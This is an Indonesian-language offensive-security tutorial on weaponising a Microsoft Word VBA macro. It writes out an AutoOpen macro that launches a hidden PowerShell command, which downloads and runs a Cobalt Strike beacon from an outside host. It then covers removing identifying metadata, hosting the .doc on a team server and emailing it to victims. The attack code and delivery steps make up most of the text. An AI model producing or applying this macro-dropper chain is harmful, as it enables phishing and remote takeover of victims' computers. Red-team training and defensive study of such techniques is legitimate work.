02 - [MS Office - Word] VBA Macro
Visual Basic for Applications (VBA) adalah implementasi dari Visual Basic yang banyak digunakan dalam aplikasi Microsoft Office.
VBA Macro ini sering digunakan untuk meningkatkan fungsionalitas dalam Word dan Excel untuk pengolahan data. Namun, keberadaan VBA Macro di dunia komersial dapat menjadi pisau bermata dua ketika disalahgunakan oleh penyerang.
0x1 - Creating a Malicious Macro
Step 1: Launch Word and Set Up Macro
Untuk membuat macro pada Word, masuk ke menu View dan pilih Macros.
Pada bagian nama buat menjadi “AutoOpen
” agar macro dijalankan secara otomatis saat dokumen dibuka. Selanjutnya, ubah kolom “Macros in” dari “All active templates and documents
” menjadi “Document 1
”.
Jika sudah, klik Create dan jendela untuk menuliskan kode VBA akan muncul.
Step 2: VBA Code Execution Test
Tambahkan kode VBA berikut:
1
2
3
4
5
6
7
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "notepad"
End Sub
Keterangan:
wscript
: Windows Script Host yang dirancang untuk automation.shell
: Method yang memberikan kemampuan untuk mengeksekusi perintah OS.notepad
: Menjalankan aplikasi notepad.
Untuk menguji kode di atas, gunakan tombol play
/pause
/stop
.
Step 3: Generate Payload
Selanjutnya, kita perlu mengganti notepad
dengan payload beacon.
Contoh sederhana yang bisa kita gunakan adalah menggunakan payload PowerShell yang ada pada Cobalt Strike.
Pada Cobalt Strike, buka Attacks > Scripted Web Delivery (S) dan buat payload PowerShell 64-bit untuk HTTP listener.
Menyiapkan Link Malware pada Cobalt Strike
URI Path dapat berupa apa saja, tetapi pada contoh ini saya akan menyimpannya sebagai
/a
.
Proses tersebut akan menghasilkan payload PowerShell dan menghostingnya di Team Server sehingga dapat diunduh melalui HTTP dan dieksekusi dalam memori.
Setelah mengklik Launch, Cobalt Strike akan menghasilkan satu baris PowerShell yang akan melakukan hal tersebut.
Perintah PowerShell untuk Mengakses Payload Beacon
Step 4: Add the Payload in the VBA Code
Copy/paste kode PowerShell sebelumnya ke dalam VBA dan pastikan untuk menambahkan satu set tanda kutip ganda di sekitar perintah IEX
.
Seharusnya akan terlihat seperti berikut:
1
Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nairpaa.me/a'))"""
Step 5: Save the .doc File
Untuk menyiapkan dokumen sebelum di-delivery, buka menu File > Info > Inspect Document > Inspect Document, yang akan membuka Document Inspector. Klik Inspect dan kemudian Remove All.
Hal ini dilakukan untuk mencegah nama pengguna pada sistem Anda dicantumkan dalam dokumen.
Menghilangkan Informasi Personal Pada Word
Selanjutnya, simpan file dengan format .doc
agar bisa menyimpan macro.
Step 6: Upload the Malware To Team Server
Upload file malware sebelumnya ke Team Server agar bisa di download oleh korban.
Buka Manajemen Situs > File Host dan pilih file dokumen malware-nya.
Mengunggah File .doc Ke Team Server
0x2 - Deliver the Malware To the Victim
Ada banyak cara untuk mengirimkan malware tersebut ke korban, salah satunya adalah dengan mengirimkannya melalui email.
Ketika korban membuka file Word tersebut dan mengklik Enable Content, maka payload beacon akan dijalankan.